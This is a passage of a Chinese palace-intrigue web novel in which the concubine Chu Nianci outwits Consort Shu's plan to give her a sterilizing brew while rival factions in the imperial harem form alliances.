"相反,朕觉得你深知与朕对弈之道。"端木清羽笑道。
楚念辞也回了一个如三月春江之柳般明媚的微笑。
大夏高手众多,他为什么要和自己下棋?
楚念辞认为与他对弈的秘诀,是放松神经,不争高低。
胜负并不重要,让他感到彻底的放松与愉悦,才是第一位。
帝王在她这里得到的轻松快乐越多,她在他心中占据的位置,自然也就越重,越特别。
两人一直消磨到深夜。
端木清羽揽着怀里人,闻着她身上那股清雅的香气,他有点心猿意马,修长的手指在她的身上轻轻摩挲。
楚念辞揽着他的脖子,撒娇道:“陛下,新人进宫了,马上要分宫,棠棣宫会不会也要进新人?”
她垂着眼,声音放得很轻。
因为蔺景珏的死,如今她和皇后已经势成水火,淑妃这头还不能丢。
她如今虽算是淑妃这条船上的人,可她那性子阴晴不定,谁知道会出什么幺蛾子,万一塞个新人进来,那可真是膈应人。
端木清羽看她那副模样,倒觉出几分意思来。
他略一沉吟,道:“这儿是朕与你的清静之地,暂不安排新人进来了。”
楚念辞一怔,随即眼底漫上掩不住的欣喜。
她低头抿着唇,指尖轻轻摩挲着袖口,像是努力压着嘴角。
这里,她可不想让别人住进来……只是只怕淑妃不会同意。
今晚,她与皇帝手牵着手离开。
她已经能想象的淑妃妒火了。
此时此刻,玉坤宫里瓷器碎了一地。
“本宫不要这把刀了。”淑妃横着娇媚的眼睛,对着跪在地上的绿翘说。
“你给我想个办法,除了她……”
第109章 淑妃让人熬制避子汤
五更天了,天边泛起鱼肚白。
玉坤宫外头的鞭炮声渐渐歇了,除夕夜已经快过去了。
淑妃端坐在主位上,满桌的山珍海味,逐渐冷透。
她今日打扮得极尽奢华,满头珠翠,一身锦缎,妆容也精致。
可惜铜漏声声,地上只有她孤独的影子。
那双美艳的眼睛渐渐浮起泪光。
“再派人去请。”她抹了一把泪水,声音渐渐透出压不住的怒火。
下头一个小太监哆嗦着回话:“奴、奴才方才去了棠棣宫……灯火都熄了。”
“废物!”淑妃抬手又是一挥,桌上菜碟“哗啦”碎了一地,“拖下去,打十板子!”
小太监哀嚎着被拖了出去,满殿宫人连呼吸都放轻了。
淑妃犹不解气:“再派个人去请,前几天陛下明明亲口答应的,要与本宫守岁……再去请!”
“若是请不来,就把那个小狐媚子给本宫揪过来。”
没人敢接话。
谁都清楚,陛下这会子哪里还请得动。
而那个小狐媚子也正躺在陛下身边,如何是他们动得了的?
绿翘垂首立在一旁,连大气都不敢喘。
半晌,才轻声道:“娘娘消消气。不是说好了吗,先抬着她,让她跟皇后斗去。”
淑妃没应声。
这一夜她是如何熬过来的,如何如坐针毡,如何竖着耳朵听外头的动静。
一声一声数着铜漏。
窗外的风悄悄变暖,但她就觉得那风冷到骨头缝里。
绿翘见她泪盈于??,忙又岔开话头:“娘娘,眼下最要紧的,是分封宫室的事。”
“让那些个小狐媚子先在储秀宫住着。”淑妃不耐烦地一摆手。
分宫就地侍寝。
她巴不得一辈子不分,让这些新人一辈子别沾陛下的边。
绿翘小心翼翼又道:“她也不过是娘娘手里的一把刀,趁手就用着,等皇后倒台,不趁手,毁了便是……”
“本宫何尝不知!”淑妃猛地截断她的话,一张俏脸满是怒意,“可我一想到陛下如今这样宠她……她刚侍寝就封了贵人,时常去养心殿伺候笔墨,如今连除夕都陪着她守岁,本宫何曾受过这等冷落?”
“绿翘,你说,陛下是不是移情别恋了?”
“娘娘,”绿翘连忙跪下,“娘娘与陛下青梅竹马,岂是区区一个慧贵人能比的?”
“话是这么说。”淑妃咬着唇,“可她如今这般受宠,万一哪日怀上龙胎,本宫该如何自处?等她升了嫔位,再生下孩子,可就不好拿捏了。”
绿翘眼珠一转,压低声音:“娘娘别急,便是她升了嫔位,以她的家世,也没资格亲自抚养皇子,届时只要老爷上一道折子,娘娘把孩子接过来养着便是。”
“不要!”淑妃一扬俏脸斥道,“本宫才不要替别人养孩子!”
绿翘凑近些压低声音道:“那便不让她生。”
“奴婢已想好法子,只要她喝下一碗绝子汤,往后再怎么承宠,也生不出半个皇嗣来,于娘娘,再无后患。”
淑妃怔了怔,眼底的怒火渐渐和缓的一些。
她垂眸,抚摸着腕上的翡翠镯子,片刻后淡淡道:“立刻让太医署熬一碗绝子汤,她若肯喝,本宫便再容她几日。”
顿了顿,又道:“过两日等那些新人的病养好了,让所有人都来玉坤宫,本宫要亲自赏她们几套衣裳首饰,好好款待莲嫔、纯贵人这两个小狐媚子。”
她说这话时,眼中全是阴狠。
绿翘俯首领命,悄悄松了口气,用袖口抹了一把汗。
出门后绿翘便让人去太医院,想了想,她又让一宫女去府里请大夫人过来。
由于皇后被禁了足,后宫的两位新人养病,端木清羽一直没有召见他们。
这几日只在棠棣宫、玉坤宫与景阳宫来回走动。
特别是楚念辞常被叫去养心殿伺候笔墨,点茶下棋。
新人们瞧她实在受宠,想走她这宠妃的门路,送了许多礼物过来,楚念辞一律收下,照单还礼,来人也客客气气地接待,让人挑不出错来。
一时间新人都说她和蔼好说话,赢得了不少好感。
这日,满宝的哥哥宝柱来叩谢楚念辞。
楚念辞前几日特意把他从造办处要了过来。
她如今是宠妃,又使了些银子,副总管秦立二话不说便办妥了。
兄弟俩跪在地上,眼里全是感激。
楚念辞看看跪在地上的两个人,都长得白皙清秀,眉眼俊俏还真是挺像。
“多谢小主救命之恩。”宝柱声音发颤,“奴才往后一定忠心耿耿,绝不负小主。”
“起来吧。”楚念辞抬手。
满宝与宝柱起身,先将后宫这几日的大小事一一禀了。
“新入宫的小主们日日盼着分宫,可皇后娘娘还在禁足,淑妃那头也不管,就这么晾着。”
他顿了顿,从怀里摸出一小包药渣,递上前。
“章太医悄悄递出来的,说是淑妃宫里的绿翘去太医院吩咐熬的,绝子汤。”
楚念辞接过,眼底闪过一丝冷意。
这些日子侍寝的不过嘉妃与她。
嘉妃有家世傍身,淑妃动不得,这碗汤是给谁的,不言自明。
“淑妃从不做无用功,”她将药渣搁下,唇角勾起一抹凉薄的笑,“看来是冲我来的。”
她眼下虽不打算要孩子,却绝不愿被人绝了后路。
“满宝,”她抬眸,“去跟章太医说,这汤继续熬,只是把里头绝子的药材,换成避子汤。”
满宝低头应了,转身出去。
楚念辞又看向宝柱。
“你才来我宫里,脸生,不惹眼,”她声音放轻,“我把你安排去跟福贵同住,你这几日盯紧他,看他和谁接触。”
除夕那日,把她骗去斓贵人处的,正是福贵。
她当时没把人供出来,就是想放长线,看看他背后到底站着谁。
还有一个心思,这人留着,兴许能做一场局。
“是。”宝柱抿紧唇,白皙的俊脸上透出几分坚定。
那日他受尽折辱,是小主救了他。
在他心里,小主是这世上最善良的人。
他一定要护好她。
皇后禁足后,淑妃代掌六宫事务。
新人最气的是,她变着法儿拖着内务府,既不分宫,也不给新晋妃嫔做绿头牌,摆明了不想让旁人沾圣宠。
正月十五,莲嫔和纯贵人毒清了。
淑妃便叫所有人每日到玉坤宫晨昏定省,架子端得跟正宫娘娘似的。
这日请安完,淑妃也不叫起。
她慵懒地往主位上一靠,伸手扶了扶鬓边凤钗,神色不善地扫下来。
“慧贵人,”她冷哼一声,“你给我跪下。”
楚念辞垂眸,心道:该来的还是来了。
这是拿她立威呢。
第110章 淑妃的三件礼物
莲嫔眼底压不住那抹幸灾乐祸。
她那日的挑拨,果然还是起了效。
慧贵人投靠淑妃又如何?还不是一样被刁难。
凭什么?
她一个五品官的女儿,凭何日日伺候陛下?
自己太尉府嫡女的身份,论家世、论容貌,哪样输她?
偏偏连陛下的面都见不着。
更可恨的是,除夕宴上让她当众丢了那么大的脸。
这笔账,她记着。
如今能亲眼见慧贵人倒霉,她心里说不出的痛快。
淑妃端坐主位,扶了扶凤钗,倒真有几分中宫的架势。
楚念辞规规矩矩行了个礼:“臣妾给淑妃娘娘请安,娘娘吉祥万安。”
淑妃没叫起。
今日为了收拾她,特意没有请嘉妃与斓贵人。
她居高临下看着楚念辞那张娇若海棠的脸,长杏仁眼里满是压不住的妒火,森森笑道:“陛下对慧贵人可真是盛宠,除夕与你守岁,这些时日又频频召你去养心殿,这份厚爱,连本宫都望尘莫及呢。”
莲嫔跪在一旁,忍不住娇娇柔柔地接话:“听说当初她这贵人之位,是娘娘亲自向陛下举荐,如今竟敢与您抢夺陛下的圣恩,真是忘恩负义的白眼狼……”
其实以前的事儿,莲嫔只从白嫔那儿听说过一部分。
现在只是为了打压她,信口雌黄。
这段时间,众人对慧贵人印象颇佳。
但有些人都是才进宫,不知道以前发生的事,听她这么说,有人信以为真,有人半信半疑。
众人对慧贵人露出的审视目光。
楚念辞压根没理她,只对淑妃道:“娘娘这话,嫔妾万不敢当,陛下那日并非有意与嫔妾守岁,实是除夕宴上受惊,身子不适,嫔妾略通几分医理,陛下便让嫔妾随侍照料,这几日召去养心殿,也是为着调理龙体。”
“你以为本宫还会信你的话。”淑妃瞪着一双杏眼。
“这话可不实。”莲嫔掩唇轻笑,“陛下那日不过是略感恶心,算不得什么大病,偏慧贵人说得这样要紧,你当娘娘这么好糊弄?”
“放肆!”淑妃见她频频插嘴,杏眼冒火,“本宫说话,轮得到你插嘴?”
莲嫔笑容一僵。
“娘娘,臣妾们是忠于您的。”莲嫔急急开口,她还不忘拉上纯贵人。
“臣妾……也是。”纯贵人紧张地抿了抿唇,那丰润的唇瓣愈发鲜艳。
淑妃冷冷地扫过去:“你俩也给本宫跪下。”
莲嫔与纯贵人慌忙跪好。
淑妃的目光从两人脸上缓缓刮过,莲嫔纤腰如柳,一张脸嫩得像三月的花骨朵,纯贵人肌肤白得近乎透明,那双绿莹莹的猫眼,楚楚动人。
淑妃心头的妒意腾地烧起来。
这般狐媚子,一个两个,都想勾引陛下。
“来人,把本宫的礼物拿上来。”
绿翘低头捧出三样东西:一碗黑乎乎的汤药,一条草编舞裙,一双草鞋。
“三样礼物,每人选一样。”绿翘小声解释,“这汤是绝子汤,草裙是外夷贡品,草鞋是特制的。”
众妃脸色齐刷刷白了。
绝育、草裙、草鞋……这是要把人往死里作践。
楚念辞看了莲嫔一眼,主动笑道:“莲嫔娘娘方才表了忠心,不如先选?”
莲嫔吓得娇脸煞白:“……臣妾多谢娘娘好意……”
“你敢不收本宫的礼物。”淑妃语气里竟带了几分凶狠。
“臣妾……臣妾是想让慧姐姐先选。”莲嫔泪眼汪汪地说。
“你做出这种狐狸样子给谁看?”淑妃冷笑一声,又对楚念辞道,“好,慧贵人先选。”
楚念辞毫不犹豫径直上前端起那碗汤药。
她凑近轻嗅。
章太医方子,果然是极好的,药材都是她熟悉的,确是避孕之物,却并非绝子汤,不伤身子。
她仰头一饮而尽。
淑妃盯着她,见她丝毫不怀疑,眼神里的凶狠渐渐化开,看她的眼神柔和了不少。
楚念辞心中暗想。
哄这女人比哄帝王容易得多。
只要顺着她避其锋芒。
“你倒听话,”淑妃语气平淡,“看来你还有几分忠心。”
楚念辞一脸忠心耿耿。
别说是淑妃,连她自己都相信了。
淑妃放过了她,转头看向另外两位。
谁知两人只红着脸,动也不动。
眼睛中掠过一丝凶狠,摆摆手:“来人,把鞋和衣服给她们穿上。”
几个宫女上前,硬给莲嫔套上草裙,给纯贵人穿上草鞋。
两人羞愤欲死,几乎要哭出来。
众妃吓得浑身哆嗦,无一人敢上前劝说。
淑妃脸上露出满意的笑容,盯着纯贵人雪白的脚丫,鄙夷地冷嗤一声。
又对莲妃两条光裸的小腿,冷嘲热讽道:“莲嫔那天在宴上唱曲,跟台上卖笑的**有什么区别?这草裙正好配你。”
莲嫔满脸羞愤,拭眼角的手一顿。
呜呜咽咽地哭出声来。
淑妃又转向纯贵人:“你不是会跳舞吗?往后就穿着这鞋,跳给本宫看。”
纯贵人潸然欲泣,她年纪小,草鞋硌得脚生疼,却只能咬着唇,低头盯着小脚丫,不敢吭声。
楚念辞暗暗叹了口气。
深宫寂寥,若不折腾人,淑妃该如何熬过,时间长了,她都没意识到,自己变成面目狰狞的人。
“娘娘,如此折辱,臣妾不活了……”莲嫔羞愤欲死之下,便想往殿中的紫晶炉撞去。
众人都吓得连忙去扯她。
“让她去,我倒要看看,她是否如她口中这般节烈。”淑妃不为所动。
一时间大殿之中闹得鸡飞狗跳。
忽听重重一声咳嗽,一位皮肤白皙、相貌娟秀的中年美妇从屏风后缓步走出。
眉眼间与淑妃有几分相似,却多了几分沉静与精明。
楚念辞有前世的记忆,她认出来了……当朝宰相夫人崔氏。
年过四十,依旧端庄雍容,只是那双眼睛,比女儿更多了几分深藏的算计。即便是一品诰命,在宫规面前仍是臣子,面对淑妃必须谨守礼节。
"都给我住手!"崔夫人娇喝一声,先控制住混乱的局面,然后端端正正行礼。
“娘……”淑妃连忙起身,一把拉起行礼的崔氏,娇憨地扑了过去,“您怎么来了?”
“为娘再不来,你这儿要唱《大闹天宫》”
崔夫人拍拍她的手,示意绿翘上前,将莲嫔与纯贵人身上的草裙草鞋解下。
她含笑看向二人:“我替娘娘给两位赔个不是,她与你们闹着玩呢,别往心里去。”
说罢朝绿翘使了个眼色:“还不扶两位娘娘下去,好生安抚。”
莲嫔与纯贵人如蒙大赦,匆匆行礼告退。
崔夫人含笑目送,那笑意却未达眼底。
众妃也告辞,她特地叫住了楚念辞,上下细细打量一番,拉着她的手含笑称赞:“眼神清亮,模样又标致,真是个伶俐人儿。”
说着便褪下腕上一只绿莹莹的玉镯,顺势套在了楚念辞手上。
楚念辞识货,一眼瞧去,见那玉镯水色通透,如一汪碧泉,绝非凡品。
便连忙推辞:“这样贵重的礼,臣妾如何敢受?”
“这有什么的?”崔夫人轻拍她的手,“贵人收下便是给我颜面,我这女儿性子直,往后在宫中,还需你多帮衬着。”
楚念辞略一沉吟,没再推拒……这分明是结盟的
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信号,过分推脱反而显得虚伪。
“你放心,”崔夫人语声温和,“只要你真心帮着淑妃,你父亲与舅舅的前程,崔家自会照应。”
当朝宰相夫人的承诺,自有其分量。
下边若父亲与舅舅是升到高位,也需与中书省打交道。
有了这话,楚念辞心里踏实了几分。
再说陛下毕竟大部分时间都在前朝。
后宫是女人的天下,皇后和淑妃这两大阵营自己必然选择一方。
才不致左支右绌。
思绪回笼,她垂首应道:“夫人放心。只要臣妾在一日,必会尽力护着淑妃娘娘。”
崔夫人满意地点了点头,这才让人送她出宫。
楚念辞离开后,殿内再无旁人,崔夫人这才放松下来。
淑妃扶着母亲坐下,忍不住抱怨:“女儿早晚要把皇后拉下来,您何必对那群狐媚子客气?”
崔夫人端坐神色沉静:“正因为皇后式微,你才更要端着姿态,让六宫看看你的容人之量,你父亲和祖父在朝中如履薄冰,才换来陛下几分信任,你若飞扬跋扈,陛下会怎么想?”
“你既掌着协理六宫之权,便该大度些,赶紧把分封宫室的事定下来。”
淑妃嘟着嘴不情愿:“娘也太谨慎了,陛下这般宠我,他说过那后位迟早是我的。”
“这话是陛下亲口说的?”
淑妃点头。
崔夫人轻轻摇头:“帝王之心深不可测,男人的承诺更当不得真,当年先帝也曾许诺孝贤皇后椒房独宠,结果还不是娶了七八个妃子。”
“好了好了,女儿过两天就把宫室分了。”淑妃只听得心里发刺。
崔夫人欣慰地拍了拍女儿的手,道,“除夕宴的事我已知道,慧贵人能全身而退,反让悦贵人与皇后吃了大亏……这女子不简单,如今她肯喝绝子汤,你该好好笼络着她。”
淑妃撇嘴,“可她总缠着陛下。”
崔夫人心中轻叹。
女儿什么都好,唯独对帝王用情太深,看不透君主最是无情。
俗话说,君恩如流水,君恩才是最靠不住的东西。
崔夫人看向女儿劝道:“你如今该把心思放在皇嗣上。”
见她抚上小腹神色黯然,低声道,“过几日娘寻个可靠大夫进来给你瞧瞧。”
淑妃点点头,面露几分忧色,喃喃道:“好几个月了,也没有怀孕,就怕是那红花伤了身子。”
崔夫人道:“若能自己生自然是好,若不成,将来谁生下皇长子,你抱来养在膝下,也是条稳妥的路。”
“娘,”淑妃蹙眉,“我才不要替别人养孩子。”
崔夫人何尝不希望下任皇帝流着女儿的血?
可她必须为相府做更长远的打算。
“我的儿,”她语气转冷,“不管谁生下皇子,届时‘去母留子’。”
淑妃一怔。
母亲打算很好,可她不愿看陛下与别人生孩子。
淑妃偏开头,声音发涩:“此事我再想想。”
宰相夫人劝导过后,淑妃很快就将十几个新人定下名分,又封了宫屋……
可只有莲嫔没有着落。
眼看着绿头牌都做好了,新人就要开始侍寝了。
莲嫔思考再三,决定从皇后这边下手……
她听说皇后的娘谢氏,这段时间几次三番进宫求见太后,因为没有诰命,都被守门的御林军给拦下来。
"绮云,"莲嫔叫来自己的贴身大宫女细细吩咐,“你去找人跟我娘说一声,让他想办法带谢氏进宫。”
绮云低头应声而去。
只要谢氏接受了自己的帮助,皇后就坐上了太尉府的这辆马车。
她就能想办法,通过皇后住进棠棣宫……
第111章 蔺皇后与莲嫔结盟
除夕夜。
蔺景瑞与楚念辞分别后,便在侧殿吃席,突然被一队御林军围住,不准进出,因此对交泰殿里发生的事一无所知。
直到离宫时,才有人通知他到丽正门外等候。
他起初完全不知道出了什么事。
直到看见母亲陪着妹妹的尸首……从宫道上出现。
不过一个多时辰前,他还高高兴兴陪着母亲和妹妹入宫赴宴,怎么也想不到,接回来的竟是一具冰冷的尸体。
仿佛一个炸雷直接劈在了他头上。
他整个人都懵了。
蔺景瑞眼前一黑,猛地扶住马车,才没当场晕过去。
周围一切忽然变得很远,又很近。
他喘着气,死死撑着。
过了好一阵,他才勉强稳住心神,向押送的太监打听情况。
当得知妹妹竟在宫宴上下毒害人,最后反而毒**自己,而帮凶楚舜卿已经被押入大牢时,他整个人像被抽空了……
觉得这一切像做梦一样。
他像丢了魂似地跟在马车后面。
不知走了多久,总算回到府里。
父亲和弟弟此时都不在家……八成又去烟花之地鬼混了。
所有事都压在了他一个人肩上。
好不容易请来大夫,谢氏终于被救醒过来。
蔺景瑞像泥塑一样守在母亲床前,看着婆子们忙着给她揉胸口顺气,一句话也说不出。
谢氏长长呼出一口气,睁开了眼睛。
她从小最疼这个女儿,生景珏时还落下一身病根。
怎么也没想到,从小娇养大的姑娘,竟死得这么惨、这么冤枉,被人像牲口一样拖了回来……陛下竟还说她是自食其果。
谢氏眼泪没了,只从喉咙里发出嘶哑的干嚎,死死抓着儿子的手:“景瑞,是楚念辞……是那个**害死你妹妹的!”
蔺景瑞微微一愣,这事儿怎么还扯上楚念辞?
一旁的婆子小声将宫里听来的事仔细说了一遍。
蔺景瑞俊脸冷得像冰,才知道妹妹确实是咎由自取。
可母亲根本就不信。
口口声声说是念辞害了妹妹。
不可能,以他对那个女子的了解。
她虽然对自己冷面绝情,但在蔺府半年,只见她救人没见她害人。
他俊眼沉沉,半晌才道:“陛下已经定了性,是景珏帮着悦贵人害人,结果害了自己。”
“不是的……就是那**害的!”谢氏激动起来。
“娘,”蔺景瑞声音压抑,“陛下只抹了爵位,毕竟还留了我国舅之位,若是再追究下去,说是咱们故意戕害宫嫔,只怕抄家流放都是轻的。”
谢氏向来稳重,此刻却因女儿失了分寸,她嘶声道:“爵位重要,你妹妹的命就不重要?你算什么哥哥?景珏死得不明不白,你该去敲登闻鼓鸣冤才对,这就打算不管了?”
她挣扎着要起身:“给我梳妆……我要进宫见皇后娘娘!”
话没说完,她又昏了过去。
等她再次醒来时,蔺景瑞已经躲开了。
谢氏终于慢慢平静下来。
没了胭脂水粉的遮掩,她端庄的容貌再也撑不住,脸色蜡黄,满脸细纹,看着与寻常妇人没什么两样。
只有那双眼睛,透出一股冰冷的恨意。
她冷冷道:“侯爷一夜没回,儿子只想着爵位……一个个薄情寡义。”
身旁的嬷嬷低声劝道:“夫人,您何苦呢?姑娘已经回不来了,这样闹下去,只怕要和侯爷、少爷离了心……”
“你以为我目光短浅?”谢氏打断她,“我是为了皇后娘娘,若不能替景珏洗净冤屈,皇后在宫里的位置怎么稳得住?皇后要是倒了,咱们这府坻还能保几天?”
她撑着坐起身,声音嘶哑却坚定:“替我整理头面。我要进宫。”
谢氏已不是承恩伯夫人,所以不能穿命妇衣衫,才到宫门口就被拦住了。
她一连去了好几天,御林军只是不肯放行,直到十几日后,才在丽正门口,遇到了太尉夫人让她上了马车,说可带她进宫。
谢氏明知不妥,可为了报仇,她还是上了马车。
入了宫,她拜谢辞别太尉夫人,去见皇后,蔺皇后在人前向来贤惠,虽然禁足,太后为了安慰她,送了许多年礼过来。
宫里的人见太后如此,便见风使舵,也不敢太为难,母女俩匆匆商议后,偷偷一同往慈宁宫递了牌子,求见太后。
谢氏与窦太后年轻时是手帕交,私交甚好。
当年立后时,窦太后力排众议选了蔺家大女儿,也多因这层情分。
谢氏在慈宁宫外跪了一个时辰,终于得了召见。
殿内,窦太后虽与谢氏同龄,瞧着却不过四十出头,皮肤白皙,五官端丽,保养得极好。
她头戴点翠凤冠,身着藏青宫装,雍容华贵,一双眼睛看似和蔼,却隐隐透着锐光。
窦太后手里捧着茶盏,垂眸慢慢撇着茶沫。
细微的刮擦声在寂静的殿内格外清晰,一下,又一下,压得人心头发慌。
谢氏与蔺皇后跪在地上,双膝跪得生疼,却一动不敢动。
太后掀起眼皮扫了她们一眼:“起来吧。”
两人没动。
“不是哀家不帮你们,”窦太后轻叹一声,“陛下已下了定论,蔺秀女受悦贵人蒙蔽、助纣为虐,证据确凿,这事……翻不了。”
蔺皇后想辩解,却不敢贸然开口。
谢氏伏低身子,哀声道:“太后娘娘,景珏自幼养在深闺,平日里只识得些胭脂水粉,心地纯善,何曾懂得使毒用药?这分明是慧贵人污蔑陷害,求太后娘娘做主,重查此案!”
太后掀起眼皮看了看她们。
她怎会听不出,这话表面是指慧贵人,其实暗指皇帝冤枉了人。
太后目光微沉:“可陛下手里人证物证俱全,哀家若要强压着翻案,得有新凭据,如今什么都没有,硬要重查,结果还是一样,岂不是让哀家自打脸面?”
谢氏脸色一僵。
蔺家全仰仗太后扶持,她原以为太后即便不帮景珏,至少也会替皇后稳住局面。
“太后娘娘,若不重查此案,任由他们胡乱攀诬,皇后今后如何坐得稳六宫之位?”
太后拿起帕子掖了掖嘴角,眸色转深:“你们放心,有哀家在,皇后的位置就稳得住。”
她顿了顿,语气淡了些:“皇后事前并未与哀家通个气,往后别再自作主张了。”
这是在怪皇后擅自行事了。
蔺皇后心头一慌,她确实是让人下
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手,不让新人侍寝。
但是没想到会弄出人命。
于是,有点冤枉地连连磕头:“太后明鉴,此事真不是儿臣主导,本是只不想让莲嫔侍寝……”
太后眼风如刀,骤然扫来。
蔺皇后喉头一哽,后半句话硬生生咽了回去,定了定神才颤声续道:“儿臣、儿臣只是想着留住陛下……求太后明察!”
“这一局,输了便是输了,”太后语气平静下来,“不管甘不甘心,该咽的苦水都得咽下去,身为皇后,得有容人的气度,如今新人入宫,你的要紧事是帮着她们尽早为皇家开枝散叶,特别是纯贵人,哀家答应你,无论是谁生下皇子,都会记在你的名下,你的位置自然稳如泰山,别总东想西想。”
她又看向谢氏:“你两个女儿想进宫,哀家都给了机会,好好一副牌攥在手里,却打烂了。你说,这该怪谁?”
谢氏不甘地动了动嘴角,终是没说出话来。
窦太后一合茶盖,“回去吧,好好帮着皇后调养身子,早日怀上龙嗣,才是正经。”
说罢,便端了茶。
皇后知道再说无用,只得灰心丧气地搀起母亲,默默退了出去。
回宫路上,正遇见往慈宁宫请安的莲嫔。
白芷若早就从母亲那儿知道谢氏进宫。
已经在宫道上等了半天。
一见俩人出来,连忙向皇后与谢氏行礼。
莲嫔一双水盈盈的眼睛望向皇后,柔柔下拜:“臣妾给皇后娘娘请安,听闻娘娘凤体欠安,臣妾本想前往探望,又恐打扰您静养,这心里总是惦记。”
谢氏打量着她。
如水莲花般娇嫩,陛下给的封号还真是贴切。
这是太尉府的嫡女,京城有名的才女,琴棋书画样样精通。
从某种意义上说,莲嫔与太后算是对手。
只因窦太后唯一的女儿当年远嫁北戎和亲,正是太尉一力主张的。
为此太后一直记恨太尉府,这些年来明里暗里没少打压。
蔺皇后本想径直离开。
莲嫔眼波流转,轻声细语:“臣妾一直想去中宫向娘娘请安,只怕娘娘不欢迎……那日之事,臣妾也为蔺妹妹觉得委屈。”
谢氏听她这样说,心头不由一酸。
她自然知道莲嫔不是简单角色,可眼下太后不肯援手,若皇后再不结交些助力,往后地位只怕更难稳固。
她暗暗扯了扯皇后的衣袖,温声道:“娘娘,莲嫔既有这份诚心,咱们怎好拒绝?”
蔺皇后看了母亲一眼,沉默片刻,终于点了点头。
莲嫔娇柔的脸上浮起一抹浅笑。
入宫前,祖父嘱咐过,要想办法打通皇后或淑妃其中一条路。
如今皇后肯接纳自己,说明她愿意与太尉府结成联盟。
也难怪。
真是可怜。
明明母仪天下,却被一个妃子压得出不了头,连亲妹妹冤死都无法讨回公道。
不过后宫之中,谁没有几分无奈?
她可没闲心可怜别人。
今日主动示好,无非是想借皇后的门路。
淑妃那边根本不可能提携她,既然敌人的敌人便是朋友,她自然不会放过这个机会。
一行人便转而走僻静之路,悄悄往坤宁宫去了。
第112章 白芷若想占棠棣宫惹念辞恼火
蔺皇后与白芷若回到坤宁宫,屏退左右,只留了心腹夏冬和晴雪在殿内。
见没有外人,白芷若便不再掩饰,开门见山道:“皇后娘娘,既然咱们如今是一条船上的人,臣妾必当尽力为您分忧,只是臣妾若想第一个承宠,就不能让纯贵人挡在前面……”
原来是想先除掉太后看重的人,削弱太后那边的势力。
她一张脸生得柔弱娇柔,说出来的话,让人脊背发寒。
蔺皇后瞥她一眼,还不想得罪太后,道:“纯贵人还未成气候,眼下咱们的心腹大患,是慧贵人。”
“慧贵人正得圣宠,若动她,只怕会触怒陛下,得不偿失。”白芷若轻声道。
她看出楚念辞不好惹,还不想马上和这硬茬对抗。
“本宫知道,可正因为得宠,才要尽早下手,若等她羽翼丰满,必成祸患,你尽管下手,还有个淑妃给咱们垫底。”
白芷若听懂了。
蔺皇后是想收拾了楚念辞,再把这桩事栽到淑妃头上去。
“臣妾明白,”莲嫔恳切道,“臣妾心中已经有一个计划,皇后娘娘需助臣妾住进棠棣宫……只有离皇上近些,臣妾才有机会重获圣心,才好为娘娘办事。”
她抬眼望着蔺皇后,语气低婉:“求娘娘成全……”
蔺皇后眼底掠过一丝不耐。
白芷若出身太尉府,又有这种容貌心机。
若不是太后不肯出力,她才不肯与白芷若联手。
“你想住进棠棣宫?”蔺皇后语气平淡,眼光却冷。
谁不知道那是先皇后的住所?
这人野心不小。
白芷若见她不置可否。
知道自己刚投靠皇后,还没立下寸功,就提出这般要求,对方怀疑也是常理。
于是忙又表忠心:“嫔妾想得到陛下眷顾,才能更好地为娘娘效力,替娘娘扫清障碍……”
蔺皇后眯了眯眼。
新人虽多,但论才貌心机,确实没有比白芷若更强的。
若不是楚念辞横在前头,她本应是这届新人中最夺目的一个。
既然这样,就给她一次机会也无妨。
“棠棣宫只住了慧贵人,主殿一直空着,”蔺皇后缓缓道,“近日已修缮完毕,本宫会下一道旨意,让你搬进去,但你能不能独占一宫,就看你的手段了。”
白芷若自从那晚当众出丑,可谓受尽冷眼讥讽。
听皇后承诺,她喜出望外,但高兴之余仍有一丝不安,道:“娘娘,还望您向圣上求一道圣旨,这样嫔妾才能安心住进去。”
“本宫禁足,只能帮你这么多,你不若回去让府里双亲去求圣上,更为稳妥。”
言下之意,你还可以去求娘家。
白芷若会意,点头道:“嫔妾会写封信给父母,明天嫔妾也会去养心殿求陛下。”
棠棣宫。
“小主,这几日奴才跟着富贵,他几天都没有出去,只昨天晚上偷偷摸摸去了一趟坤宁宫。”宝柱垂手回禀。
福贵去了坤宁宫,至此这件事就弄清楚了。
那孔雀胆必是皇后,或者是皇后身边的人弄来的。
参与谋害的宫人皆被皇帝下旨夷了三族,唯独那个传假消息太监福贵,楚念辞并未将他供出,就是想看他到底和谁联络?
“去把福贵给我带过来。”楚念辞歪在贵妃椅上冷冷地说。
福贵本以为能侥幸躲过,可眼看着楚念辞让人来传他,他最后一丝幻想也破灭了。
如今自己的命都在主子的一念之间。
福贵扑通一声跪倒在地,涕泪横流,磕头如捣蒜:“小主,奴才再也不敢了。”
“说吧,是谁主使?”楚念辞毫不留情。
他额头抢地,砰砰作响:“是、是夏冬主使……奴才输了很多钱,被她捏住了把柄,她说,奴才不得您重用,满宝那样的小孩子都能压我一头……奴才是一时猪油蒙了心,听了她的挑拨啊,求小主开恩,饶奴才这条狗命吧!”
不多时,他额头已是一片血肉模糊。
楚念辞端坐在椅上,慢条斯理地用小银勺搅动着碗中团圆刚呈上的甜酪,
脸上没有半分动容。
若不是满宝机警、宝柱及时投诚,今日跌入万劫不复之地的,便是她自己。
对这等背主之人,她生不出半点心软。
她当初不将福贵供出,自有考量。
若她提前知晓毒计却隐而不报,难免落人口实……
会在多智近妖的帝王心中种下一根刺。
前路尚险,不能冒这个险。
留下福贵,她另有用处。
此时,她特意让岚姑姑与宝柱留在身边。
目光掠过地上颤抖的福贵,故作苦恼地轻叹一声,问道:“岚姑姑,你说本小主该不该将实情禀明陛下,把福贵交给陛下处置呢?”
此事早已结束,她当初没有禀报。
如今这样说,分明是要岚姑姑……这位宫中积年的老人,在她与宫规旧例之间,做出一个明确的选择。
岚姑姑心头一凛,瞬间明白了主子的用意。
她没有丝毫的犹豫道:“小主,此等背主之徒,如何处置,都是他咎由自取,但凭小主定夺。”
这是把决定权交给了自己。
说明岚姑姑已经彻底投向了自己这边。
楚念辞闻言,眼底掠过一丝极淡的满意。
她放下银勺,瓷碗与托盘发出清脆一响。
“既然如此你愿意悔过,本小
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主就再给你一次机会,”她看向面如死灰的福贵,声音温和,“你安个偷盗的罪名,打你一顿,赶你去辛者库,然后会调你到莲嫔那里,你先悄悄盯着她,有什么事儿就过来说一声,下边如何做,我会派人告诉你。”
嘴上这样吩咐,但楚念辞明白,这种背主求荣的东西,绝对不能用,也不能信。
只不过是利用他做局而已。
“奴才……奴才谢小主开恩,奴才愿为小主做任何事!”福贵松了一口气,连连叩头。
却在低头时,脸上露出一丝阴狠与算计。
自己如果向莲嫔投诚,说不定还能拿到奖赏。
